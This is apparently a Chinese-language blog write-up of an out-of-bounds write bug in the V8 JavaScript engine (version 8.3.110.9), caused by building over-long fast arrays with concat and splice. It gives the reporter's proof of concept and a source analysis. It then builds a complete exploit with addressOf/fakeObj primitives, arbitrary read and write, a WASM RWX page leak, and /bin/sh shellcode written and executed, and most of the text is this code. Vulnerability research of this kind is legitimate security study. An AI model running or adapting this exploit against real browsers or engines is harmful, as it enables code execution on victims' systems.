相关信息

编译环境

1
2
3
4
5
6
7
time ./build_v8.sh 8.3.110.9
...
...
Done. Made 149 targets from 88 files in 214ms
ninja: Entering directory `out/x64_8.3.110.9.release'
[1423/1423] LINK ./d8
./build_v8.sh 8.3.110.9 8279.83s user 515.58s system 1264% cpu 11:35.46 total

漏洞研究

收集到的参考POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];

function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6;
x -= 5;
x = Math.max(x, 0);

let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];

corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
trigger(giant_array);
}

corrupted_array = trigger(giant_array)[1];
alert('corrupted array length: ' + corrupted_array.length.toString(16));
corrupted_array[0x123456];

分析漏洞相关源码可以注意到,其NewFixedDoubleArrayNewFixedArray缺少对于长度上限的检查,导致可以造成 out of memory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
macro NewFixedArray<Iterator: type>(length: intptr, it: Iterator): FixedArray {  
if (length == 0) return kEmptyFixedArray;
return new
FixedArray{map: kFixedArrayMap, length: Convert<Smi>(length), objects: ...it};
}

macro NewFixedDoubleArray<Iterator: type>(
length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray {
if (length == 0) return kEmptyFixedArray;
return new FixedDoubleArray{
map: kFixedDoubleArrayMap,
length: Convert<Smi>(length),
floats: ...it
};
}

同时issue提交者提到

An attacker can call splice to add extra elements to a fast JS array that’s just below the size limit. However, naively appending elements in a loop in order to obtain such an enormous but still valid array would fail and trigger an out-of-memory crash. A possible (and really quick) alternative is to merge a smaller array with itself several times:

1
2
3
4
5
6
array = Array(0x80000).fill(1);  
array.prop = 1;
args = Array(0x100 - 1).fill(array);
args.push(Array(0x80000 - 4).fill(2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3, 3, 3, 3);

可以注意到,其使用复制自身splice方法可以创建超过array最大长度限制的fast array。回看POC,我们也可以注意到,其首先使用同样的方法创建了0x3FFFFFF(67108863)大小的数组。而在trigger方法中,正常x计算结果应当为7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function trigger(array) {  
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x \*= 6;
x -= 5;
x = Math.max(x, 0);

let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];

corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}

另外由于https://crbug.com/1051017,攻击者可以使用类似的方式。其在代码优化的过程中,会错误的认为x的长度,检查对应commit的源码,可以得到`kMaxLength`的值。源码:https://chromium.googlesource.com/v8/v8/+/70bd7cf0ef618621c16ae3f5ba2db614ac8ef996/src/objects/fixed-array.h

1
2
3
4
5
6
7
8
9
10
...
#ifdef V8_HOST_ARCH_32_BIT
static const int kMaxSize = 512 * MB;
#else
static const int kMaxSize = 1024 * MB;
#endif // V8_HOST_ARCH_32_BIT
...
...
static const int kMaxLength = (kMaxSize - kHeaderSize) / kDoubleSize;
...

其中kHeaderSizekDoubleSize的值在64位的情况下分别为16和8,因此kMaxLength 为 (0x4000000 - 2) = 67108862. 这意味着trigger函数中x的值在array合法的情况下只能为 0 或 1,而这对于长度为2的corrupting_array来说是合法的,导致在代码优化过程中去除了对于corrupting_array[x] 赋值时的越界检查。然而x实际计算结果为7,从而可以通过该array实现越界写。另外,issue提交者提到:

There’s also another CheckBounds node that verifies the array index is less than length + 1024,
so the attacker has to employ the OOB access to overwrite data located relatively close to the
array. A good candidate, which immediately presents a powerful exploitation primitive, is the length
field of another fast array
.

因此,实际利用时,可以使用越界写来更改临近其他对象的参数,比如fast array的length域。

从POC到EXP

这里为了方便调试我写了一个sh脚本,地址:https://github.com/Loora1N/v8-gdb-script

运行需要参数v8版本号和js文件路径:

1
./v8-gdb.sh <v8-version> <js-file>

地址泄露

清楚漏洞的原理后,我们就可以自以POC为基础,编写EXP了。最终目的为执行shellcode,因此首先需要泄露地址。由于原有的poc会将elements域边置0,导致即便长度可以越界,也没有合理的指针用来做索引。poc更改的部分如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
length_as_double =
new Float64Array(new BigUint64Array([0x0000000024242424n]).buffer)[0];

function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
//小学生都会算x-y = 1; 2x-y = 11;
x *= 10;
x -= 9;
x = Math.max(x, 0);
let corrupting_array = [0.1, 0.1];
let test = [corrupting_array]
let corrupted_array = [0.1]

corrupting_array[x] = length_as_double;
return [corrupting_array, test, corrupted_array];
}

使用test变量让偏移错位4byte倍数,是的覆盖length域和一个不属于该结构的部分,覆盖效果如图

image-20240726152115212

然而由于每当新添加变量,js的堆结构就会发生变化,导致exp或者poc无法成功运行。经过多次调试且参考其他师傅的exp情况下,将代码更改如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);

function ftoi(f) {
f64[0] = f;
return bigUint64[0];
}
function itof(i) {
bigUint64[0] = i;
return f64[0];
}
function hex(a) {
return a.toString(16);
}

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
new Float64Array(new BigUint64Array([0x0000000024242424n]).buffer)[0];

function trigger(array, oob) {
var x = array.length;
x -= 67108861; // 1 2
x *= 10; // 10 20
x -= 9; // 1 11
oob[x] = length_as_double; // fake length
}

for (let i = 0; i < 30000; ++i) {
vul = [1.1, 2.1];
pad = [vul];
double_array = [3.1];
obj = {"a": 2.1};
obj_array = [obj];
trigger(giant_array,vul);
}

%DebugPrint(vul);
%DebugPrint(double_array);
%DebugPrint(obj_array);

var double_array_map = double_array[1];
var obj_array_map = double_array[8];

console.log("double_array_map: 0x" + hex(ftoi(double_array_map)));
console.log("obj_array_map: 0x" + hex(ftoi(obj_array_map)));

接下来编写addressOffakeObj即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
double_array[8] = double_array_map;
let obj_addr = ftoi(obj_array[0]) - 1n;
double_array[8] = obj_array_map;
return obj_addr;
}

function fakeObj(addr_to_fake) {
double_array[0] = itof(addr_to_fake + 1n);
double_array[1] = obj_array_map;
let fake_obj = double_array[0];
// double_array[1] = double_array_map
return fake_obj;
}

完成这些操作后,我们接下来就是要向rwx段写入shellcode这步。因此首先需要初始化WASM,并泄露WASMinstance地址

1
2
3
4
5
6
7
8
9
10
11
//  初始化WASM
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

%DebugPrint(wasmInstance);

//wasminstance 地址
wasmInstance_addr = addressOf(wasmInstance);
console.log("wasmInstace: 0x" + hex(wasmInstance_addr));

由前文可知,rwx段地址会在instance中存储

image-20240729142415655

image-20240729142423928

同上使用fake_arrayfake_obj泄露对应内容即可,这里顺便将任意地址读写进行封装如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function read64(addr)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
return fake_object[0];
}

function write64(addr, data)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
fake_object[0] = itof(data);
}

//泄露rwx地址
var rwx_page_addr = read64(wasm_instance_addr + 0x68n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));

最终的步骤就是借助dataviewsetFloat64()方法,先更改backing_store指针,然后完成shellcode写入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
var data_buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(data_buf);
%DebugPrint(data_buf);
var buf_backing_store_addr_lo = addressOf(data_buf) + 0x10n;
var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
var lov = d2u(read64(buf_backing_store_addr_lo))[1];
var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
var hiv = d2u(read64(buf_backing_store_addr_up))[0];
var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
var buf_backing_store_addr = ftoi(u2d(lov, hiv));
console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
for (let i = 0; i < shellcode.length; ++i)
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

这里的由于backing_store错位4,所以需要分高32位和低32位分别取值,具体偏移具体对待

exp

最终效果:

image-20240729153831105

整理完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
function hex(i)
{
return i.toString(16).padStart(8, "0");
}

function fakeObj(addr_to_fake)
{
double_array[0] = itof(addr_to_fake + 1n);
double_array[1] = obj_array_map;
let fake_obj = double_array[0];
// double_array[1] = double_array_map
return fake_obj;
}

function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
double_array[8] = double_array_map;
let obj_addr = ftoi(obj_array[0]) - 1n;
double_array[8] = obj_array_map;
return obj_addr;
}

function read64(addr)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
return fake_object[0];
}

function write64(addr, data)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
fake_object[0] = itof(data);
}

function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
var data_buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(data_buf);
%DebugPrint(data_buf);
var buf_backing_store_addr_lo = addressOf(data_buf) + 0x10n;
var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
var lov = d2u(read64(buf_backing_store_addr_lo))[1];
var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
var hiv = d2u(read64(buf_backing_store_addr_up))[0];
var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
var buf_backing_store_addr = ftoi(u2d(lov, hiv));
console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
for (let i = 0; i < shellcode.length; ++i)
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
new Float64Array(new BigUint64Array([0x0000000024242424n]).buffer)[0];

function trigger(array, oob) {
var x = array.length;
x -= 67108861; // 1 2
x *= 10; // 10 20
x -= 9; // 1 11
oob[x] = length_as_double; // fake length
}

for (let i = 0; i < 30000; ++i) {
vul = [1.1, 2.1];
pad = [vul];
double_array = [3.1];
obj = {"a": 2.1};
obj_array = [obj];
trigger(giant_array,vul);
}

%DebugPrint(vul);
%DebugPrint(double_array);
%DebugPrint(obj_array);
// corrupted_array[0x123456];

var double_array_map = double_array[1];
var obj_array_map = double_array[8];

var fake_array = [
double_array_map,
itof(0x4141414141414141n)
];

fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr + 0x48n;
var fake_object = fakeObj(fake_object_addr);
var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x68n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));


var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();